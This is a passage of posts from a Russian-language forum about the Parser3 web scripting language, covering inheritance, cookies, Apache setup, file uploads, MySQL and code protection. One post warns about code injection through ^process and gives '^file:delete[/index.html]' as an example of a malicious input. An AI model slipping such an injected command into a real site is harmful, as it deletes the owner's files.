Про привязку, честно скажу - не понял. Что привязывается? К чему?\
\
Про верстальщиков и ООП: никто не настаивает на пользовании классами в \"чистом\" виде. Если не знаешь, что это такое - не морочься и пиши библиотеку макросов. Единственное, что потеряешь - классовые переменные - все будет глобально. Но ведь зачастую это удобно.\
\
Реализация XML (на мой взгляд) естественней некуда - на то они и стандарты. Единственное, что сбивает многих с толку - необходимость записи результата функции в переменную. Тут несколько месяцев назад был длинный базар на эту тему. А интеграция... Тут надо рассматривать предложения по оной, но иметь в виду, что PAF делает в первую очередь то, что как-то граничит с интересами Студии. Ну, а если есть у кого желание самому пописать - исходники открыты, PAF проконсультирует.\
\
БД поддерживаются: MySQL, PgSQL, Oracle + все, что угодно по ODBC. Не так и мало.\
\
А название сложилось исторически уже много лет назад ;-)"
"7579","1. Наследование только одиночное, множественное из-за его сложности и известных проблемах здесь думаю реализовывать не стоит. Все что определено в auto.p принадлежит классу MAIN ну и соответственно наследование при его использовании работает только для этого класса, однако оно существует и для пользовательских классов.\
[code]\
@CLASS\
имя пользовательского класса\
\
\
@USE\
...\
\
@BASE\
имя базового класса\
[/code]\
\
2. Из БД есть драйверы для Oracle, MySQL, ODBC (т.е. для любой БД для которой есть ODBC), PostgreeSQL"
"7580","Привязку к пути в url. То есть как собираются auto.p.\
Если первая страница сильно отличается от остальных /auto.p может оказаться не самым удачным кондидатом на наследование всеми.\
"
"7582","\"Т.е. идея такая -> небольшая утилита шифрующая код, и в строенный в интерпретатор \
дешифратор опознающий шифрованные файл по сигнатуре.\"\
\
Как вариант обхода - добавить в дешифратор пару строчек, чтобы он после дешифровки записывал \
раскодированный код на место закодированного файла. :)\
\
По сути - если у вас есть программа, которая работает на вашем компьютере, то можно сделать чтобы она работала \
на любом другом компьютере (даже в случае аппаратных ключей). Кроме того, эту программу можно изменить как угодно.\
\
Возможность внесения изменения можно усложнить, но в таком случае и сами авторы уже изменить так просто ничего не cмогут.\
Защищают как путем компиляции в байт-код (для которого обычно несложно сделать декомпилятор), так и например\
программами, которые случайным образом переименовывают идентификаторы, делая исходный код нечитаемым.\
\
С моей точки зрения защита от копирования - забота скорее юристов, нежели программистов.\
"
"7583","потому что базовым можно объявить только один класс, - это одиночное."
"7584","MAIN вообще малоудобен в этом плане - он слишком глобален.\
Я обычно держу в MAIN только то, что реально нужно везде или легко переопределяется на любом уровне - например заголовок страницы (для \"неслишком динамических\" страниц, т.е. когда заголовок не приходит из базы) или методы, которые выделять в отдельный класс типа globalMethods просто нецелесообразно. Ну и локальные \"страничные\" переменные (хотя встречается такое очень редко)."
"7586","Мне кадется зря вы отказались от множетсвенного наследования. На нем основан MixIn-стиль программирования. Оказалось что оно хорошо пожходит для верстки. Например раздеры сайта бывают двух- и трех-колононые, главные и вложенные.\
Соответственно мы наследуем каждый раздел от обобщенного раздела, в котором описан общий формат страници типа:\
<html>\
<head>\
<title>....</title>\
</head>\
<body>\
...\
</body>\
</html>\
А потом \"подмешиваем\" туда класс, отвечающий за колоночность, и класс, описывающий главность/вложенность.\
\"главность/вложенность\" потребовалась в реальном проекте, для различения тонких отличий в оформлении навизационного меню.\
\
Реализация всего этого кучей ifов конечно возможно, но html тогда преврашяется в жудкую кашу, работать с котоорой тяжело и верстальшикам и программистам."
"7587","Эти объекты можно включить полями в страницу:\
\
класс страница\
\
поле columns - объект со своими виртуальными методами\
поле navigation - аналогично.\
\
Вообще отсутстие какой-либо вещи в синтаксе обычно слабо коррелирует с возможностью использования. Например на C очень часто пишут\
программы с объектами, виртуальными методами, тем же множественным наследованием и т.д., хотя в синтаксисе это появилось только в C++\
\
Наличие какой-либо возможности в синтаксисе просто несколько упрощает код, но никак не меняет суть происходящего. А имитировать\
множественное наследование можно и другими способами.\
"
"7588","О том, что сам парсер открыт я и забыл ;)\
\
Но суть не в этом -> лирическое отступление (пример):\
\
Программист X написал определенный P^ код, продал копию (т.е. лицензию) клиенту Y. Один из сотрудников хостинга у которого размещался сайт \"позаимствовал\" код, разумеется, не уведомляя об этом ни X, ни Y. \
\
К сожалению, юридический путь решения проблемы не всегда возможен, и оптимален. Лучше не доводить дело до этого. \
\
ИМХО, суть подобной защиты не в том чтобы сделать что-либо абсолютно неприступным, а в том, чтобы затраты на взлом были дороже чем прибыль полученная в итоге.\
\
Если это форум стоимостью в $200, то на 99% заморачиваться с байт-кодом и нечитаемым исходником никто не будет.\
И если определенный алгоритм сделать исходник нечитаемым (точнее читаемым, но с большим трудом) у меня есть*, то вот перевод в байт-код я реализовать не могу. Как, думаю, и основная масса пользователей P^. (Т.к. для этого нужно вносить изменения в код самого P^, компилить его под нужную платформу, и ставить получившуюся версию  вместе со своим софтом, что в низкобюджетных проектах малореально)\
\
Я хорошо себе отдаю отчет, что этот подход не применим к проектам ALG, т.к. там другие суммы и сложность проектов совершенно иная.\
\
Но P^ - это уже массовая технология :) \
И думаю, что многие пользователи будут очень рады, если в p^ появиться встроенный алгоритм перевода в байт-код, а в документации - disclaimer о том,  что  данным метод ничего не гарантирует :)\
\
Или любое решение подобного рода.\
\
* - речь идет о банальном нарушении форматирования и переименования переменных.\
Правда, пока я не написал полностью автоматический вариант, т.к. нужно отделять переменные парсера от пользовательских, а времени пока на это нет.\
"
"7591","Реализовал корзину как XML, храню в cookie, expires[session]\
\
Кто знает про ограничения на размер куки ?\
"
"7592","Может быть зря беспокою но всеже\
есть форма загружает файл на сервер\
[code]\
<form method=\"POST\" enctype=\"multipart/form-data\">\
<input type=\"file\" size=40 name=\"n_file\">\
<input type=\"submit\" value=\"Добавить\" name=\"posted\" class=frm>\
<input type=\"reset\" value=\"Очистить\" class=frm> </p>\
</form>\
[/code]\
Файлы больше 2 мегов не загружаются а мелкие на ура. Не подскажите.\
Заранее спасибо."
"7593","Как сверить пароль, полученный из формы с криптованным?\
я конечно понимаю, что \"Для проверки введенного пароля к нему применяют то же преобразование, а результат сверяют с сохраненным\"\
\
Но это почему-то не взлетает. \
\
Я уже двое суток не сплю - заказ горит мозги уже со скрипом пащут."
"7596","Добавляем $passord[^math:crypt[МойПароль;$MD5_salt]] в базу,\
\
Далее:\
\
^if(^math:crypt[$form:password;$MD5_salt] eq $base.password){\
  password ok\
}\
\
\
Где $MD5_salt случайный код, напр. $MD5_salt[^$apr1^$BHGIBIs&ry54582646f] см. доки:\
\
http://parser.ru/docs/lang/mathcrypt.htm\
  "
"7597","Всем привет!\
Скажите, что делать,, если нужно обрабатывать JPEG? Как я понял из мануала, в Парсере нет функций для работы с ним?\
Надо-то всего-лишь изменить размеры картинки, подскажите, может есть какая-то функция или способ? Перекидывать в GIF не подходит - фотографии."
"7599","Ввести что то типа лицензий, допустим \
1) пользователь запускает программу, а она спрашивает код активизации.\
2) если у пользователя нет ключа, то программа не запускается, а если есть, то закачивает с главного сервера недостающие компоненты\
3) когда срок лицензии истек, то доп. компоненты самоудаляються или еще что-нибудь\
\
Этот код, не очень хорошь так, как его можно обойти. Но мне идея нравиться!"
"7600","Имхо, данная схема не совсем подойдет для серверных приложений.\
\
Хотя реализовать ее можно, написав соответствующие функции на P^ и которые пользователь может подправить не отходя от кассы :)\
\
Вся задача в том, что бы пользователь не мог легко изменять твой код. А приложение можно привязать к пользователю и другими методами, напр, использовать http_host, еtс..."
"7601","я не раз писАл на форум, что у меня не создаются куки на текущую сессию. Если вместо срока истечения писАть определенное  число то все в порядке - в папке Коокис создается соответствующий файлик с данными. Если же в срок истечения добавит сессию, то никкаких файлов в папке не создается. Я думал, что это у меня гонит то ли Парсер, то ли система и не пользовался данной возможностью куков.\
ОКАЗЫВАЕТСЯ - при установке таких куков никаких файлов создаваться НЕ ДОЛЖНО в общем! Я это вычислил методом научного тыка. Кука создается, но никуда не пишется (наверное в кеше хранится). Вот. Такой радостной вестю решил поделится со всемии, кто когда либо сталкивался с этим приколом.\
\
П. С. про это можно было в доках кинуть пару строк - а то не очень хорошо получается..:)"
"7602","Проверять наличие куки нужно не по файлам которые создает браузер, а по заголовку http-запроса.\
\
Поэтому добавлять в доку на этот счет ничего не нужно."
"7603","Это не слишком удобно.\
Например навигация определяется в \"базовом классе\" - описании обобщенной страницы. А некоторые ее особенности (где надо, где не надо ставить ссылки) описываются в колассе типа раздела. А используется он в \"колоночном\" классе.\
MixIn стиль на это расчитан."
"7604","то есть как, проверять по хттп - запросу? А как энто делается? Если не в лом - прошу обосновать ваш совет..:)))"
"7605","Если указанный сотрудник провайдера не пытается извлечь из этого выгоды, то на твоем месте я бы только порадовался тому, что сделал хороший форум... :)\
\
Трудозатраты на \"взлом\" почти всегда меньше (или в худших случаях не сильно больше)  трудозатрат на создание защиты;\
\
Байт-код в парсере есть и так (иначе парсер бы работал сильно медленнее);\
\
Часто защита приносит больше неудобств разработчикам. В случае того же форума - вылезет ошибка, и понять где, что и как почти невозможно - stack trace очевидно отсутствует; надо списывать \"нормальный\" исходник, чинить, потом снова кодировать...\
\
Ошибки в самой защите (например проверка SERVER_NAME в случае UseCanonicalNames Off некорректна) тоже склонны проявляться в самый неподходящий момент.\
\
Да и разработчики склонны преувеличивать масштабы бедствия, - на самом деле часто имеет место \"история неуловимого Джо\". :)\
\
"
"7606","хм... \
дело в том, что куки - это информация которая передается в заголовке http (подробнее об этом:\
http://www.citforum.ru/internet/html/cookie.shtml\
http://www.citforum.ru/internet/html/c_syntax_format.shtml\
).\
\
Т.е. когда пишется код $cookie:name[$.value[значение]], то парсер добавляет соотвествующую информацию в запрос. А как клиентская программа (читай: браузер) будет сохранять и передавать информацию - это уже не касается сервера, и тем более парсера.\
\
Иными словами, IE может создать файлы cookie, а самодельный браузер Васи - нет."
"7607","Тебе же вообще надо, что бы пользователь или какой-либо другой человек не мог воспользоваться твоей программой. А если он не имеет части кода, как он сможет воспользоваться ею, т.е. активизировать (в данном случае узнать ключ активизации)"
"7610","nu, dk, ya povtoryus!\
postavil 2-oy apache. Peretyanul starэye nastroyki(ne vse, konechno, a tolko pro parser i virtualhost) v noviy httpd.conf - VirtualHost'i perestali rabotat. Ne znayu pochemu, i nayti prichinu ne smog - po docam vse pravilno, a ne rabotaet. Navernoe ya gde-to che-to upustil. tolko nikak ne mogu votknut - gde i chto!\
Mne s etim voprosom kakto Misha, pomoemu, ili Max, pomog(esli ne vnes originalnogo avtora pomoschi - proshu ne obizhatsa - ne pomnyu). Vot. i che mne seychas delat - ne znayu.\
Aaa. Esli moi VirtualHosti vizivat po IP - oni rabotayut. Aesli v adresnuyu stroku pisAt ServerName - net. Vse eto delo stoit na localService. Razrabativayutsa neskolko proektov. Kazhdiy v svoyem foldere. Obrabativayutsa odnim Parser'om. Vse. i ne rabotaet. HOCHU SVOI v-hostэ NAZAD!!!"
"7614","Задачи решаются либо просто, но сложными средствами, либо простыми, но сложно.\
Конечно, каждый выбирает что ему больше нравится. И большентсву нравятся простые средства. Как результат (в нашем частном случае) - в коде появляется громадное количество условных вырадений и передачи параметров. Потом найти где закрывающийся тег, к данному открывающемуся просто не возможно.\
А если верстальщик согласится въехать в MixIn, то код становится прозрачными.\
Более того, когда необходимый набор \"примесей\" создан, контент-менеджер даже не узнает, что там работает какое-то наследование. Он просто будет выбирать свойства раздела из предопределенного набора."
"7617","Вытаюсь вставить код счетчика и ничего не выходит\
Я делаю так. Беру код со SpyLog вставляю код.\
Во время загрузки в html отображается этот код а счетчика нет.\
Никто не сталкивался?"
"7619","Вроде всё делаю по прописи (с учётом ошибки, которая там допущена: написано \"LoadModule parser3_module x:\\path\\to\\ApacheModuleParser3Debug.dll\", а должно быть, очевидно, \"LoadModule parser3_module x:\\path\\to\\ApacheModuleParser3.dll\"), а при тестировании конфигурации Апач ругается на синтаксическую (!) ошибку: \
Cannot load c:/apache/parser/apachemoduleparser3.dll into server: (1157) -х эрщф\
хэ юфшэ шч Їрщыют сшсышюЄхъ, эхюсїюфшь_ї фы_ т_яюыэхэш_ фрээюую яЁшыюцхэш_:\
Причём, что это за абракадабра - не могу понять. \
Апач поставлен из бинарников perl-win32-bin: Apache/1.3.26 (Win32) AxKit/1.6 mod_ssl/2.8.10 OpenSSL/0.9.6d mod_perl/1.27_01-dev PHP/4.2.1\
В чём я не прав?\
"
"7620","попробуй проделать это:\
--------------------------\
Добавляем в секцию файла httpd.conf:\
\
после этой строчки\
ClearModuleList\
\
вот такую:\
AddModule mod_parser3.C\
--------------------------\
\
надеюсь поможет.\
"
"7621","если не хочешь перед каждой ; ставить ^ (как предложил тов. Лужниковский) сделай как я:\
\
убери код счетчика в отдельную процедуру типа @spylog[]и в ней только код спайлога. Потом этот ^spylog[] можешь везде вставлять."
"7622","все-таки есть ситуации в которых лучше скрыть исходный код.\
\
Что же касается \"неуловимого Джо\", то такое часто бывает, мол, l\
да кому это нужно, да еще и на малознакомом языке... \
но гремит гром, и начинаешь креститься :)\
\
Однако, [i]хорошо[/i] подумав, решил что штатных методов должно хватить...\
\
Просто фантазии нужно чуть больше :)"
"7623","дело так : в зависимости от установленной куки идет подключение определенного класса. Грубо говоря, я считиваю название класса из куки. Теперь, чтобы этот класс подключить, я, как и все, пользуюсь ^юз[класс_нейм. р]. Вот. потом этот класс надо ^инит[] и так далее Как мне вместо названия класса подставить значение из куки?  ^{$куки: раздел} и переменная в {кавычках} не помогает."
"7624","http://parser.ru/forum/?id=7204\
http://parser.ru/forum/?id=5279\
http://parser.ru/forum/?id=109\
"
"7625","Файл .htaccess\
имеет следующий вид:\
\
AddHandler parser3-handler html\
Action parser3-handler /cgi/iso.parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Результат открытия index.html в корне:\
http;//iso.pro-host7.com\
выдаёт\
Couldn't find file /cgi/iso.parser3.cgi/index.html"
"7626","Не иначе как\
ScriptAlias /cgi-bin/ /path/to/cgi/\
Тогда и в Action надо писать /cgi-bin/, а не относительный дисковый путь."
"7627","Ну-с, какие мысли? Смотрел?\
Тут правда выяснилось что багзилла при приезде малость умерла и пока её ни кто не востановил... такие дела... так что если что пиши наверное в конфу у нас - так будет правильнее...\
"
"7628","Уважаемые разработчики Parser3!\
В данный момент я пишу программу, которая занимается редактированием скриптов Парсер3.\
Есть встроенный редактор HTML и куча полезных функций!\
Релиз программы ожидается к началу ноября.\
Если это кого-то заинтересовало, то пишите на e-mail(указан в форуме)"
"7629","Рад приветствовать всех участников форума!\
Пожалуйста, подскажите, как в парсере наиболее удобным путем произвести преобразования текста из формы, чтобы переводы строк заменить на тэги br (или что-то аналогичное)?\
Цель - предформатирование текста при его отправке из формы в MySQL. А то без такой операции все переводы строк пропадают и текст помешается в MySQL одним большим массивом без абзацев.\
В PHP для этого есть специальная функция - nl2br. А в парсере пока не могу найти способ.\
Заранее всем огромное спасибо за помощь!"
"7631","На самом деле не стОит перед записью в БД проебразовывать так текст... Зачем хранить лишние теги? Потом ты захочешь редактировать и надо будет при выводе в textarea делать обратное преобразование...\
\
Преобразовывай в тот момент, когда ты достал из базы и показываешь пользователю..."
"7632","Директива ClearModuleList идёт _после_ строчки, содержащей ошибку. Естественно, у меня стоит и AddModule mod_parser3.c, но Апачи ругается именно на LoadModule ..."
"7633","если так написать апач говорить немогу найти модуль."
"7634","Много нетерпящих отлагательства дел.\
Точнее, поросмотрел содержимое архива (доки, исходники), но устанавливать пока не пробовал.\
О результатах обязательно сообщу."
"7636","или не только мне кажется, что он денег хочет? ))))\
\
А вообще, формулировка \"программу, которая занимается редактированием скриптов Парсер3\" меня порадовала - ставите, значить, программу, и говорите ей сегодня до обеда написать систему авторизации для сайт, а она сама редактироет код... Ляпота...\
\
Ой, что-то я злой сегодня... Миша, не думал о том, чтобы сюда <select> a ля ЖЖшный \"current mood\" прикрутить? Я бы активно пользовался)))\
\
А если серьёзно, парсеру не хватает человечной среды разработки. Давеча писал подружке макрос на VBA, и при всей ненависти к оному ещё раз подумал, что Visual Basic Editor - это вещь, подобной которой мне не зватает в парсере - с контекстной помощью, autocompletion и т.п. И если кто-то родит приемлемый редактор + частично среду разработки для парсера, я не пожалею отдать за него кровных баксов 20........ Но перед этим за...ю feature request'ами)))))"
"7637","Огромное спасибо за подсказку!\
Хочу принести извинения за то, что не очень тщательно облазил форум в поисках ответа на вопрос, перед тем, как задавать его. Как оказалось, тема уже очень избитая. То ли я вчера плохо искал, то ли поиск по форуму как-то в разные дни по-разному хитро работает. :)\
\
-> Misha v.3: Полностью согласен с Вашим замечанием насчет того, что преобразование текста стоит делать при чтении из БД. Спасибо! И еще один маленький вопрос: почему метод match (по Вашим словам в одном из топиков форума) будет тормозить по сравнению с методом replace при данном преобразовании? И как эту разницу в скорости обработки можно выразить количественно (в процентах или разах)? Еще раз благодарю Вас! Удачи!"
"7638","лучше используй для этого функции СУБД. Например в MySQL это PASSWORD()"
"7639","Dreamweaver MX можно полностью настроить для таких фнукций - подсветка, автокомплишн с подсказками. Я для себя ещё настроил TextPad под парсер, очень красиво выделяет синтаксис."
"7640","Есть задача: хранить файлы непосредственно в базе. MySQL. Тип поля longblob. Файл притекает из формы (<form method=\"post\" enctype=\"multipart/form-data\">...<input type=file name=file>...</form>). Код, если успростить, таков:\
^connect[...]{^void:sql{\
  insert into t_file (f_file, f_data)\
  values ('$form:fields.file.name', '$form:fields.file.text')\
}}\
\
Проблема: данные обрезаются (у зип-архивов, например, первые пяток байт лишь сохраняется, плюс-минус).\
\
Вопрос: Как же сделать insert в базу так, чтобы данные не терялись? Шаманство с taint/untaint, как бы хорошо оно не было описано, я не понимаю. Надеюсь на автоматику. Может оно?"
"7641","А вот как то обойти? :-/"
"7642","попробуй ^untaint[as-is]{...твои данные}"
"7643","Результат: никакой.\
\
Еще вопрос: можно ли соорудить песню типа ^taint[sql][^untaint[as-is]{...}] или подобную. должно же как-то работать... разве никто не делал файлы в базе?\
\
могу, конечно, через специальный каталог и там их хранить как binary-файлы. но уж больно безсистемно тогда получается с кодом. :-("
"7644","вообще - хранить файлы в базе просто неправильно."
"7645","Почему такой запрос:\
$quant[^table::sql{\
	SELECT id\
	FROM shop\
	WHERE login IN (SELECT login FROM clients WHERE account > 0)\
	}\
]\
Выдает такую ошибку:\
You have an error in your SQL syntax near 'SELECT login FROM kpclients WHERE account > 0)\
	' at line 4\
SELECT id FROM shop WHERE login IN (SELECT login FROM kpclients WHERE account > 0) "
"7646","Если это MySQL, то он просто не поддерживает вложенных запросов, о чем честно написано в документации (по крайней мере в моей версии еще не поддерживает). Искренне надеясь, что с английским языком вы знакомы, цитирую:\
\
The following will not yet work in MySQL: \
SELECT * FROM table1 WHERE id IN (SELECT id FROM table2);\
SELECT * FROM table1 WHERE id NOT IN (SELECT id FROM table2);\
However, in many cases you can rewrite the query without a sub select: \
SELECT table1.* FROM table1,table2 WHERE table1.id=table2.id;\
SELECT table1.* FROM table1 LEFT JOIN table2 ON table1.id=table2.id where table2.id IS NULL\
For more complicated subqueries you can often create temporary tables to hold the subquery.\
"
"7647","По-моему даже если бы оно и положило (escapить 0 не сложно),\
проблемы бы возникли при чтении, поскольку\
никакого file::sql нет, а в table могут храниться\
только строки."
"7648","как записывать символ \";\" в парсере, чтобы он не распознавался как элемент кода?"
"7650","Так что буду делать через каталог-хранилище. Уродство, но куда денешься. Описания - в базе, файлы - в каталоге. :-(\
\
А разработчкам парсера на будущее заметка:\
неплохо бы сделать file::sql, а также специальный тип пачкания для бинарных файлов, передаваемых через поля <input>, и помещаемых в дальнейшем в sql-запросы. А также file::create[binary_string]. Вот.\
\
Спасибо за внимание :-)"
"7651","Пишу\
\
^mail:send[\
  $.to[to@domain.ru]\
  $.from[from@domain.ru]\
  $.subject[$msubj]\
  $.html{\
    ^for[i](1;10){\
      <h1>Head # $i</h1>\
    }\
    $mbody\
  }\
]\
\
Письмо отправляется, но в теле сообщения 10 нписано <h1>Head # </h1>. Нет значений переменных, хотя код исполняется."
"7652","А если <h1>Head # ${i}</h1> попробовать использовать?"
"7653","Файловые операции быстрее и надежнее, чем манипуляции с блобами.\
Да и парсер в первую голову расчитан на работу с текстом. А для файлов надо пользовать спец.инструмент. "
"7655","Все сделал как указано в 20020809parser3.chm, подключил ApacheModuleParser3.dll, с помощью LoadModule, сделал AddModule, указал путь к конфигурационному файлу.\
При старте апача в консоли отображается\
Apache/1.3.22 (Win32) Parser/3.0.0005 rus/PL30.9 running...,\
однако, когда в IE 5 набираю Localhost показывается исходный код parser и никакой реакции. Чего бы ещё такого проверить?\
В логе ошибок нет..."
"7658","она не поддерживает подзапросы. :-("
"7659","http://www.parser.ru/examples/imagemagic/"
"7660","Создайте в корневом каталоге вашего сервера файл .htaccess и добавьте в него следующие команды: \
\
A eto zdelal?"
"7661","Ты знаешь ЧТО делает match? Он столько всего творит, что закачаешься, а replace делает тупой поиск и замену -> быстрее."
"7662","не получается подставить найденные советы в свой код!\
Мне надо так : \
[code]\
^if($request:query eq 'dairy'){\
	^call[dairy]\
}\
\
@call[module]\
^use[${module}.p]\
$module[$$module]\
$module[^module::init[]]\
^module.view[]\
[/code]\
\
это то, что я нашел в тех постах. Только это не работает. Говорит,мол, класс module undefined. "
"7663","ya prosto nemnogo stormozil - no nichego - na oshibkah uchatsa(pust duraki - Rim tozhe ne srazu stroilsya.:).)\
Vot kak ya sdelal podklyucheniye class'a v zavisimosti ot peremennoy : \
[code]\
@call[module]\
^process{^^use^[${module}.p^]\
^$module^[^^${module}^:^:init^[^]^]\
^^module.view^[^]}\
[/code]\
\
polzovatsya nado tak : ^call[dairy] *dairy - nazvaniye podklyuchaemogo class'a. (Vse class files raspolozheni po CLASS_PATH)"
"7664","http://www.parser.ru/forum/?id=6187"
"7666","А про обрезание по 0... Тут писали уже, что парсер не умеет работать с контентом бинарных файлов."
"7667","или очень нравятся длинные названия скриптов?"
"7669","И что Dreamweaver MX можно настроить для того чтобы делать автозавершение для всех операторов парсера? типа пишешь ^file а он тебе выдает список всех методов и конструкторов которые доступны."
"7670","Как передать в функцию параметр имя таблицы или обойти это"
"7671","добавлять или нет AddModule mod_parser3.C зависит от того как собирали Apache, - очень часто дело не этом, а в том что Apache не может найти модуль по указанному пути.\
\
Лучше наверно посоветовать так:\
\
1. Положить библиотеку модуля парсера в каталог modules т.е. туда где лежат все стандартные модули.\
\
2. Написать в httpd.conf после списка всех директив LoadModule\
[code]\
LoadModule parser3_module modules/ApacheModuleParser3.dll\
[/code]\
3. Если заругается, то писать AddModule mod_parser3.C\
\
просто твой совет поймет человек хорошо знакомый с Apache чего здесь не наблюдается и поэтому человека просто такой совет с толку собьет."
"7672","http://parser.ru/f/1/download/win32/parser3_3_0_0005_win32_apache_xml.zip\
\
http://parser.ru/f/1/download/win32/parser3_3_0_0005_win32_apache.zip\
\
это для Win, для Unix самому собирать, для Apache 2.x самому писать :)."
"7674","Не понял я ещё немного:\
1. Версия Parser 3.0.0005 требует наличия конфиг. файла в виде Auto.p\
2. Путь к auto.p прописываю в переменной ParserConfig в httpd.conf d:/apache/parser/auto.p\
3. Настройки, указанные выше и в http://www.parser.ru/forum/?id=6187 сделал с особой тщательностью.\
4. Насколько я понимаю, без разницы, где вы добавляете LoadModule, AddModule, ParserConfig, AddHandler  в httpd.conf или в .htaccess\
5. Пожалуй, лучше так: киньте кто-нибудь настроенный ГКФ с описанием того, чего менялось в процессе привязки к конкр. условиям, подозреваю, что в нем проблема внутри..."
"7675","АГА.\
Только, поскольку сайт у меня будет один сделал все это в Конфиге Апача httpd.cong\
По- моему, это тоже правильно?"
"7676","А сырцы поглядеть можна? Ну хоть одним глазком, а?...\
\
\
"
"7677","на  MySQLFront http://www.mysqlfront.de/ (PhpMyAdmin нервно курит за углом...), так вот сейчас эта ссылка не работает. Где же взять [b]MySQLFront[/b]. Очень нужно :)"
"7679","могу сказать: Пиши Тёме!! :-)"
"7680","Если пытаюсь создать сеанс в PHP, а до этого директивой include вставляю какой либо файл (например, footer.html - файлик с меню), получается следующее:\
Warning: Cannot add header information - headers already sent by (<имя файла>)...\
Тот же результат, если апач сконфигурирован так, чтобы ко всем php-скриптам в начале автоматически добавлять другой php-скрипт.\
Как мне заставить сеансы работать в таких условиях?\
Заранее спасибо."
"7681","OK. Благо не в первый раз, и не в последний, я думаю...\
\
Да, кстати, неплохо было бы прикрутить к паресеру метод ^string.taknamzavestchaltema[$yourtext] - тогда ну нафиг эти сырцы..."
"7683","Миша, сделай антикэширующие заголовки для форума, а не то у меня кэш на прокси при релоаде показывает форум пятничной давности, что очень меня не радует. И ещё форум на мейл перестал ходить."
"7684","====================== PHP Manual =========================\
function header()\
----------------------\
.....\
Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. \
.....\
Note: \
In PHP 4, you can use output buffering to get around this problem, with the overhead of all of your output to the browser being buffered in the server until you send it. You can do this by calling ob_start() and ob_end_flush() in your script, or setting the output_buffering configuration directive on in your php.ini or server configuration files. \
\
===========================================================\
\
Или у тебя проблемы с english ?"
"7686","При релоаде любой HTTP-compliant прокси должен перезапрашивать страницу. Релоад!=рефреш. Press Ctrl+F5 to continue."
"7687","это не касается, ибо ты хоть лбом об стенку бейся, все равно он будет тебе выдавать по ctrl+F5 страницу из своего локального кэша, разумеется если у нее TTL не истек."
"7688","что-то типа этого:\
[code]\
HTTP/1.1 200 OK\
Date: Mon, 07 Oct 2002 11:57:40 GMT\
Server: Apache/1.3.20 (Unix) rus/PL30.5\
expires: Fri, 23 Mar 2001 09:32:23 GMT\
[/code]\
\
другими словами: я для форума выдаю expires...\
"
"7690","однако, до сего дня, форум не кэшировался ISA Servero'ом f c сегодняшнего дня, стал кэшироваться."
"7691","или же заново зписываьб все значения с новым?"
"7692","telnet parser.ru 80\
\
[code]\
HEAD /forum/ HTTP/1.1\
Host: parser.ru\
\
[/code]\
\
если скажешь, какие еще заголовки зафигачить чтобы твой прокси удовлетворился этим - добавлю, это 2 минуты..."
"7693","я делаю так\
[code]\
$response:cache-control[no-cache, must-revalidate]\
$response:pragma[no-cache]\
[/code]\
и мой сайт не кэшируется на прокси"
"7695","Можно ли установить Парсер на сайт чужого сервера. Т.е. есть доступ к PHP, MySQL, логам сервера и др. Но сам сервер принадлежит \"левой\" фирме. Я просто купил 10Мб под сайт. Так вот можно ли настроить самому Парсер, чтоб сайт на Парсере написать???\
\
Очень надеюсь, что господа специалисты въехали в вопрос."
"7698","Вот код:\
[code]\
$f[^file::exec[/../cgi-bin/images.pl;$.DESTINATION_PATH[/home/design/htdocs$destination_path] $.SOURCE_PATH[/home/design/htdocs$source_path] $.IMAGES[${schet1}.$nameParts.piece] $.XXX[100]]]\
[/code]\
А вот ошибка:\
/home/design/htdocs/parser3/gallery/new/index.html(32): 'IMAGES' not safe environment variable  type: parser.runtime\
\
В чем бага?"
"7699","лучше скажи, где сайт хоститься и посмотри раздел о хостингах"
"7701","Скрипт рабочий, если бы был трабл, он бы выругался... До смены он прекрасно работал...\
Думал что дело в переменных, что вдруг они попадают под зарезервированные слова, и тоже ничего... Все равно возвращает ошибку..."
"7702","\
Что я делаю неправильно?\
Командой: \
^mail:send[ \
  $.charset[windows-1251]\
  $.from[sender@mail.ru]\
  $.to[<$form:email_subscribe>] \
  $.subject[Привет]  \
  $.body[Как дела?]	  \
]\
Пытаюсь отправить письмо, а парсер мне выдает ошибку:\
transcodeFromUTF8 error: too big tmpVal(0x00010BE4)\
\
Ошибка возникает из-за $.charset[windows-1251]"
"7703","Измени $.DESTINATION_PATH например на $.CGI_DESTINATION_PATH (или HTTP_)\
\
http://parser.ru/docs/lang/filecgiexec.htm"
"7704","Я тогда пример изменения размера картинок перепишу под новую версию..."
"7705","Вот только я считал что вложенные запросы это страндарт SQL.\
И к микрософт SQL не имеет никакого значения."
"7706","http://parser.ru/\
\
читаем:\
[quot]\
...\
добавлена возможность передачи текста на стандартный ввод запускаемым программам;\
добавлена возможность хэширования строк (паролей);\
улучшен метод file:find;\
[b]передача переменных окружения в file::cgi/exec стала более строгой.[/b]\
[/quot]\
"
"7707","Вещь сама по себе простая, но безумно полезная... Я думаю что в разглашении кода она не нуждается..."
"7708","Добрый всем день! :)\
Согласен. Скорее всего, есть разница в быстродействии.\
Изначально я решил, что хоть функциональность этих методов очень различается (у match гораздо больше возможностей по сравнению с replace), но на быстродействие в рамках одной и той же простой операции это не скажется - именно потому, что операция простая. Но, видимо, дополнительная функциональность метода match оборачивается необходимостью контроля всех его возможных опций или еще чего-то, что замедляет его работу. Как-нибудь доберусь до исходников - погляжу. :)\
Спасибо огромное за помощь!\
Удачи Вам!"
"7710","прочту/отвечу по мере сил."
"7711","А кто же читать доку то будет???"
"7712","рекомендуемый метод: запустить zip.sh или zip.bat\
в которые вписать нужную команду.\
в виде \
[code]\
#.sh\
zip $*\
#.bat\
zip %*\
[/code]\
так система произведёт поиск файла по пути сама, а в вашем скрипте/конфиге не будет привязки к какому-то конкретному каталогу, что вызывает проблему при переноске сервера."
"7714","в доке написано не так. ну да контора пишет.\
\
[code]\
^connect[mysql://xxx@[home/ваш_логин/run/mysql.sock]/база]{…} \
[/code]"
"7715","[code]\
# это метод с вычисляемым именем\
# заставляем pg быть цифрой\
$method[$pg^form:pg.int(0)]\
# вызываем метод\
^method[params]\
[/code]\
\
что до process… с ним нужно быть крайне аккуратно, чтобы не передали туда что-то вроде \"^file:delete[/index.html]\""
"7716","[code]\
^form:file.save[куда/хотите/как.хотите]\
[/code]\
\
«перемещение» тут не при чём"
"7717","в CVS уже версия, где можно задать до произвольной абсолютной даты.\
что до относительного задания, Миша уже ответил"
"7718","просьба присылать воспроизводимый тест, и все вспомогательные файлы, версию parser, веб-сервера, платформу, os"
"7719","и вызывать её нужно так…\
[code]\
^имя[параметры]\
[/code]\
\
таких «функция вне объекта» нужно иметь минимум.\
\
крайне рекомендуются тематические коллекции функций, которые можно использовать так:\
\
[code]\
